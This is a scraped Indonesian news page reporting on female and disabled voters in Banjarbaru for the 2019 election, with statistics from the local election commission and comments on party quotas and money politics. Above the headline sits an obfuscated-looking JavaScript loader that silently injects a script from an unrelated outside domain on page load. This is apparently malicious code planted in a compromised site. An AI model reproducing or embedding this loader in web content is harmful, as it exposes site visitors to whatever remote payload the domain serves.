(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Membidik Suara 79.377 Pemilih Perempuan di Banjarbaru, Kemana Berlabuh?


BANJARBARU, Jumlah pemilih perempuan di Banjarbaru lebih besar daripada jumlah pemilih laki-laki. Data dari KPU Banjarbaru, untuk daftar pemilih tetap sebanyak 156.347 pemilih. Dengan rincian, sebanyak 76.970 pemilih laki-laki dan sebanyak 79.377 pemilih perempuan. Pertanyaannya adalah, kemana suara perempuan tersebut akan berlabuh? Akankah memilih juga caleg perempuan, atau malah tidak?

Faktanya, saat ini jumlah caleg (calon anggota legislatif) di Banjarbaru ada total sebanyak 374 orang. Terinci jumlah caleg laki-laki sebanyak 215 orang dan caleg perempuan sebanyak 159 orang. Sehingga pemenuhan keterwakilan perempuan sebanyak 42,51 %.

Memang belum ada korelasi jika nanti suara perempuan akan otomatis memilih caleg perempuan. Meskipun, potensi bagi perempuan menyakurkan suara untuk caleg perempuan masih memiliki kans lebih terbuka lantaran ikatan emosional.

Triwahyuni Suci Wulandari dari Institute for Development and Economic Analysis (IDEA) mengatakan, saat ini harus diakui parpol masih memiliki masalah besar terkait kaderisasi perempuan. Partai-partai peserta Pemilu memasang perempuan dalam daftar calon legislatif, sekadar untuk memenuhi kewajiban yang ditetapkan undang-undang.

“Kita tengarai, masalahnya di proses rekrutmen di partai sendiri. Mereka lebih pada pemenuhan kuota 30 persen yang diamanatkan dalam UU No. 7/2017. Mereka tidak melihat bagaimana kapasitas perempuan dan ketika mereka sudah merekrutpun juga tidak berbicara soal kualitas, lebih pada yang penting kuotanya terpenuhi,” katanya.

Dalam memenuhi aspirasi perempuan, salah satu strategi yang lebih mungkin dilakukan adalah memberdayakan politisi perempuan. Mengingat saat ini, diakui oleh Suci, masih ada masalah internal di kalangan politisi perempuan yang harus diselesaikan.

“Diantaranya banyak caleg perempuan justru meyakini, kehadiran mereka hanya sebatas pemenuhan kuota. Mereka memang tidak ingin untuk berkompetisi di politik,” kata Suci.

Sejumlah masalah mendominasi perbincangan dalam pertemuan ini. Salah satunya adalah politik uang yang sudah membudaya. Praktik ini, terjadi tidak hanya karena para caleg sendiri yang ingin memperoleh dukungan secara instan. Para caleg perempuan juga mengeluhkan pemilih yang kini secara terbuka menanyakan, berapa dana yang disediakan untuk membeli suara mereka.

Namun, banyak pula optimisme muncul dari para caleg perempuan. Pemilih yang mayoritas perempuan menjadi keuntungan jika dapat dimanfaatkan. Tantangannya kini justru pada peningkatan kapasitas caleg perempuan sendiri agar dapat memenuhi harapan pemilih. Selain modal kapital dan kapasitas, faktor modal sosial juga diperhitungkan. Sejumlah caleg mengatakan cukup percaya diri bahwa kegiatan mereka di tengah masyarakat selama ini akan cukup membantu.

Pendidikan Pemilih Perempuan

Di kalangan pemilih, budaya patriarki juga menjadi kendala tersendiri bagi caleg perempuan. Pilihan perempuan sebagai istri, kadang diputuskan oleh suaminya. Pemilih perempuan tidak berdaya untuk menggunakan haknya.

“Maka perlu diadakan pelatihan pengambilan keputusan bagi perempuan. Termasuk dengan cara mengumpulkan perempuan-perempuan, bagaimana mereka harus memilih seorang calon legislatif, antara lain karena keberpihakan kepada perempuan tentu saja,” kata Nelly Tristiana dari Badan Pemberdayaan Perempuan.

Namun, kata Nelly, pendidikan tidak hanya dilakukan kepada pemilih perempuan. Penting juga untuk menyentuh kesadaran politik pemilik laki-laki agar lebih memahami sudut pandang kepentingan perempuan dalam persoalan ini. Karena itulah, kampanye yang digelar adalah membentuk pemilih cerdas, yang mampu memanfaatkan hak pilihnya secara lebih baik.

Pemilih Disabilitas

Data KPU Banjarbaru, pada pemilu 2019 nanti ada sebanyak 181 atau sebanyak 0,116 persen merupakan warga yang sudah memiliki hak pilih di Kota Idaman tergolong disabilitas. Di antaranya, tuna daksa sebanyak 46, tuna netra sebanyak 28, tuna rungu sebanyak 30, tuna grahita sebanyak 32 dan disabelitas lainnya sekitar 43.

Penyandang Disabilitas adalah setiap orang yang mengalami keterbatasan fisik, intelektual, mental, dan atau sensorik dalam jangka waktu lama yang dalam berinteraksi dengan lingkungan dapat mengalami hambatan dan kesulitan untuk berpartisipasi secara penuh dan efektif dengan warga negara lainnya berdasarkan kesamaan hak.

Baik penyandang disabilitas fisik, penyandang disabilitas intelektual, penyandang disabilitas mental dan atau penyandang disabilitas sensorik. Ketua KPU Kota Banjarbaru, Hegar Wahyu Hidayat menjelaskan, untuk DPT yang ditengarai disabilitas termasuk disabilitas mental di Kota Banjarbaru tidak disediakan TPS Khusus.

“Untuk tuna netra kita siapkan template surat suara. Design TPS (bilik suara dan meja suara) kita buat ramah pemilih disabelitas, khususnya buat pemilih tuna tuna daksa. Dan pemilih bisa dibantu oleh petugas pemilih,” katanya.

Untuk Kalsel, angka pemilih dari penyandang disabilitas di Kalsel sebanyak 9.838 orang atau 0,343 persen dari Daftar Pemilih Tetap (DPT). Dari angka ini, rincian penyandang difabel mental ada 2.023, tuna daksa –  gangguan gerak ada 2.157 orang, tuna netra 1.140 orang, tuna rungu/wicara 1.461 orang, dan disabilitas lain sebanyak 3.057 orang.

“Hasil rekapitulasi pemutakhiran data pemilih Pemilu 2019 di Daftar Pemilih Tetap Hasil Perbaikan (DTPHP) Pemilu 2019 tercatat 2.869.166, orang,” kata Ketua KPU Kalsel Edy Ariansyah selepas ‘Diskusi Media Membangun Kepercayaan Publik dalam Pemilu 2019’ di Banjarmasin, Sabtu (12/1) lalu.

Kata Edy, KPU melakukan pendataan warga negara kategori disabilitas mental untuk memenuhi ketentuan peraturan perundang-undangan. Hal ini mengacu Pasal 5 UU Nomor 7 Tahun 2017 tentang Pemilihan Umum. Penyandang disabilitas yang memenuhi syarat mempunyai kesempatan yang sama sebagai pemilih, sebagai calon anggota DPR, DPD, DPRD, dan Pasangan Calon Presiden dan Wakil Presiden serta menjadi pemilih, dan sebagai penyelenggara pemilu.(rico/voa/kum)

Reporter:rico/voa/kum
Editor:Cell

Desy

Unit Cyber Kanal Kalimantan

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

11 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

11 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

12 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

16 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

16 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

17 jam ago

This website uses cookies.